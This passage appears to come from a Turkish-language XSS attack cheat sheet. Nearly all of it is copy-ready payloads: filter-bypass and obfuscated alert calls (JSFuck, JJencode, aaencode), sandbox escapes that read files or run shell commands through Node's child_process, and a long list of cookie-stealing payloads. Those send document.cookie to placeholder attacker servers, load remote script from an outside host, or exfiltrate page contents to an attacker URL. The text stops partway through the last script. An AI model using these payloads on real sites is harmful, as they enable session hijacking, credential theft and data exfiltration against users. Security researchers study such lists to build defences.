// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Keyfi fonksiyon (alert) çağrısı

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Saldırgan tarafından kontrol edilen verileri (örn. location.href) güvensiz şekilde kullanan JS kodu vardır. Bir saldırgan bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.
Açıklamanın kapsamının genişliği nedeniyle DOM vulnerabilities it was moved to this page:

DOM XSS

Orada DOM vulnerabilities'in ne olduğu, nasıl tetiklendiği ve nasıl sömürüleceği ile ilgili ayrıntılı bir açıklama bulacaksınız.
Ayrıca, bahsedilen yazının sonunda DOM Clobbering attacks hakkında bir açıklama olduğunu unutmayın.

Upgrading Self-XSS

Eğer payload'ı bir cookie içine göndererek XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'tir. Ancak, eğer XSS'e karşı vulnerable subdomain bulursanız, bu XSS'i tüm domain'e bir cookie enjekte etmek ve böylece ana domain veya diğer subdomain'lerde (cookie XSS'e duyarlı olanlarda) cookie XSS'i tetiklemek için kötüye kullanabilirsiniz. Bunun için cookie tossing attack'i kullanabilirsiniz:

Cookie Tossing

Bu tekniğin harika bir kötüye kullanımını this blog post içinde bulabilirsiniz.

Oturumunuzu admin'e göndermek

Belki bir kullanıcı profilini admin ile paylaşabiliyordur ve eğer self XSS kullanıcının profilindeyse ve admin buna erişirse, zafiyet tetiklenir.

Session Mirroring

Eğer bazı self XSS'ler bulursanız ve web sayfası yöneticiler için session mirroring sağlıyorsa — örneğin müşterilerin yardım istemesine izin verip adminin, yardıma yardımcı olmak için sizin oturumunuzda gördüklerini kendi oturumundan görmesini sağlıyorsa — yöneticinin sizin self XSS'inizi tetiklemesini sağlayıp onun cookie'lerini/oturumunu çalabilirsiniz.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

Bir web uygulaması Emscripten/WASM kullandığında, sabit stringler (HTML format stub'ları gibi) yazılabilir linear hafızada tutulur. Tek bir in‑WASM overflow (örn. edit yolundaki unchecked memcpy) bitişik yapıları bozup yazmaları bu sabitlere yönlendirebilir. "

%.*s

" gibi bir template'i "" ile overwrite etmek, sanitize edilmiş girdiyi bir JavaScript handler değeri haline çevirir ve render sırasında anında DOM XSS'e yol açar.

İstismar iş akışı, DevTools bellek yardımcıları ve savunmalar ile ilgili ayrıntılar için ayrılmış sayfaya bakın:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Yansıtılan değerlerin sunucuda (veya istemci tarafında) unicode normalized edilip edilmediğini kontrol edebilir ve bu işlevi korumaları atlatmak için kötüye kullanabilirsiniz. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR mass assignment nedeniyle tırnaklar HTML'e eklenir ve tırnak kısıtlaması atlatılır; ek alanlar (onfocus) etiketin içine eklenebilir.
Form örneği (from this report), eğer payload'u gönderirseniz:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Çift "Key","Value" şöyle geri döndürülecek:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Sonra onfocus özniteliği eklenecek ve XSS gerçekleşir.

Özel kombinasyonlar

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 response içinde header injection ile XSS

Eğer bir 302 Redirect response içine inject headers yapabildiğinizi fark ederseniz, browser'ın arbitrary JavaScript çalıştırmasını sağlamayı deneyebilirsiniz. Bu trivial değil çünkü modern tarayıcılar HTTP response status kodu 302 ise HTTP response body'sini yorumlamaz, bu yüzden sadece cross-site scripting payload işe yaramaz.

In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Geçmişte bilinen protokoller: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Sadece Harfler, Rakamlar ve Noktalar

Eğer javascript'in execute edeceği callback'i bu karakterlerle (harfler, rakamlar ve noktalar) sınırlı olacak şekilde belirleyebiliyorsanız. Bu davranışı nasıl kötüye kullanacağınızı öğrenmek için bu yazının bu bölümünü okuyun.

XSS için Geçerli <script> Content-Type'ları

(From here) Eğer application/octet-stream gibi bir content-type ile bir script yüklemeye çalışırsanız, Chrome şu hatayı verir:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chrome'un bir loaded script çalıştırmasını destekleyecek tek Content-Type'lar, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc içindeki const kSupportedJavascriptTypes içinde yer alanlardır.

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSS için Script Türleri

(Kaynak: here) Peki, bir script yüklemek için hangi tipler belirtilebilir?

html
<script type="???"></script>

Cevap:

  • module (varsayılan, açıklamaya gerek yok)
  • webbundle: Web Bundles, bir dizi veriyi (HTML, CSS, JS…) birlikte .wbn dosyası halinde paketlemenizi sağlayan bir özelliktir.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: import sözdizimini geliştirmeye olanak tanır
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Bu davranış this writeup kullanılarak bir kütüphaneyi eval'e yeniden eşlemek ve bunu kötüye kullanarak XSS tetiklemek için kullanıldı.

  • speculationrules: Bu özellik önceden render edilmenin neden olduğu bazı problemleri çözmek için geliştirilmiştir. Şöyle çalışır:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types ile XSS

(From here) Aşağıdaki content types tüm tarayıcılarda XSS çalıştırabilir:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

Diğer tarayıcılarda başka Content-Types keyfi JS çalıştırmak için kullanılabilir, bkz: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml İçerik Türü

Eğer sayfa text/xml content-type döndürüyorsa, bir namespace belirterek keyfi JS çalıştırmak mümkün:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Özel Değiştirme Desenleri

Aşağıdakine benzer bir şey kullanıldığında: "some {{template}} data".replace("{{template}}", <user_input>). Saldırgan bazı korumaları atlatmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Örneğin this writeup, bu bir script içinde JSON string'ini escape etmek ve keyfi kod çalıştırmak için kullanıldı.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Eğer kullanabileceğiniz karakterler sınırlıysa, XSJail problemleri için bu diğer geçerli çözümlere bakın:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Eğer, güvenilmeyen kod yürütülmeden önce everything is undefined ise (ör. this writeup), herhangi bir güvenilmeyen kodun yürütülmesini suistimal etmek için yararlı nesneleri "hiçten" oluşturmak mümkün olur:

  • import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • require'e dolaylı erişim

According to this modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Dolayısıyla, eğer o modülden başka bir fonksiyonu çağırabiliyorsak, bu fonksiyondan arguments.callee.caller.arguments[1] kullanarak require'e erişmek mümkündür:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Önceki örneğe benzer şekilde, use error handlers kullanarak modülün wrapper'ına erişmek ve require fonksiyonunu almak mümkündür:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Gelişmiş Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS yaygın payloads

Bir arada birden fazla payload

Steal Info JS

Iframe Tuzak

Kullanıcının sayfada iframe'den çıkmadan gezinmesini sağlayın ve eylemlerini (formlarla gönderilen bilgiler dahil) çalın:

Iframe Traps

Cookies Alma

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Cookie'de HTTPOnly flag ayarlıysa, JavaScript'ten cookies'e erişemeyeceksiniz. Ancak şanslıysanız, bu korumayı bypass etmenin bazı yolları var.

Sayfa İçeriğini Çal

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
